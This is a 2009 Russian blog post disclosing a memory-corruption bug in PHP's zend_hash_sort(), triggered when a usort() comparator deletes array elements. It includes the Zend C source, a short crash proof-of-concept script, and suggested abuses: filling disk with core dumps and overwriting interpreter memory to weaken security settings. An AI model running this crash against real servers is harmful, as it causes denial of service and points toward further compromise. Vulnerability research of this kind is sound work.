Простой DoS для PHP

Очередная уязвимость в Zend Engine

Копался сегодня во внутренностях , и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах ), а массив (в терминах языка C) указателей на элементы массива (в терминах ), а потом по отсортированному C-массиву пересоздаёт PHP-массив.

[-]
View Code C
  1. ZEND_API int zend_hash_sort(HashTable *ht, sort_func_t sort_func,
  2.                             compare_func_t compar, int renumber TSRMLS_DC)
  3. {
  4.     Bucket **arTmp;
  5.     Bucket *p;
  6.     int i, j;
  7.  
  8.     IS_CONSISTENT(ht);
  9.  
  10.     if (!(ht->nNumOfElements>1) && !(renumber && ht->nNumOfElements>0)) { /* Doesn't require sorting */
  11.         return SUCCESS;
  12.     }
  13.     arTmp = (Bucket **) pemalloc(ht->nNumOfElements * sizeof(Bucket *), ht->persistent);
  14.     if (!arTmp) {
  15.         return FAILURE;
  16.     }
  17.     p = ht->pListHead;
  18.     i = 0;
  19.     while (p) {
  20.         arTmp[i] = p;
  21.         p = p->pListNext;
  22.         i++;
  23.     }
  24.  
  25.     (*sort_func)((void *) arTmp, i, sizeof(Bucket *), compar TSRMLS_CC);
  26.  
  27.     HANDLE_BLOCK_INTERRUPTIONS();
  28.     ht->pListHead = arTmp[0];
  29.     ht->pListTail = NULL;
  30.     ht->pInternalPointer = ht->pListHead;
  31.  
  32.     arTmp[0]->pListLast = NULL;
  33.     if (i > 1) {
  34.         arTmp[0]->pListNext = arTmp[1];
  35.         for (j = 1; j < i-1; j++) {
  36.             arTmp[j]->pListLast = arTmp[j-1];
  37.             arTmp[j]->pListNext = arTmp[j+1];
  38.         }
  39.         arTmp[j]->pListLast = arTmp[j-1];
  40.         arTmp[j]->pListNext = NULL;
  41.     } else {
  42.         arTmp[0]->pListNext = NULL;
  43.     }
  44.     ht->pListTail = arTmp[i-1];
  45.  
  46.     pefree(arTmp, ht->persistent);
  47.     HANDLE_UNBLOCK_INTERRUPTIONS();
  48.  
  49.     if (renumber) {
  50.         p = ht->pListHead;
  51.         i=0;
  52.         while (p != NULL) {
  53.             p->nKeyLength = 0;
  54.             p->h = i++;
  55.             p = p->pListNext;
  56.         }
  57.         ht->nNextFreeElement = i;
  58.         zend_hash_rehash(ht);
  59.     }
  60.     return SUCCESS;
  61. }

Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».

Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит сегментации.

Proof of Concept:

[-]
Download crash-php.php
<?php
    function compare($a, $b)
    {
        global $arr;
        if (isset($arr[2])) {
            unset($arr[2]);
        }

        return 0;
    }

    $arr = array('A', 'B', 'C', 'D', 'E', 'F');
    usort($arr, "compare");
    print_r($arr);
?>

В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать sort() сразу после usort()).

Вышеприведённый скрипт успешно устроил 502 Bad Gateway на сервере с Suhosin (да так, что последний даже не пожаловался).

PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).

Что даёт :

  • если администратор криворукий, то можно забить место на диске core dump’ами (5-6 дампов — почти гигабайт, YMMV);
  • так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить register_globals, отключить magic_quotes_gpc и т.п.).
Автор: ; опубликовано в: PHP, Безопасность; метки: crash, PHP, Zend Engine, безопасность, ошибка, уязвимость
19
Окт
2009

RSS Комментарии к статье «Простой DoS для PHP» (3)  »

  1. Ого! В Zend уже отправил?
    Преклоняюсь перед мастерством «просматривать» и при этом увидеть.

Пожалуйста, не используйте эту форму для комментирования! Данная форма предназначена исключительно для ботов.

Оставить комментарий к записи «Простой DoS для PHP»

Ваш e-mail не будет опубликован. Обязательные поля помечены *

*

Можно использовать следующие HTML-теги и атрибуты: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Оставляя комментарий, вы выражаете своё согласие с Правилами комментирования.

Подписаться, не комментируя

गते गते पारगते पारसंगते बोधि स्वाहा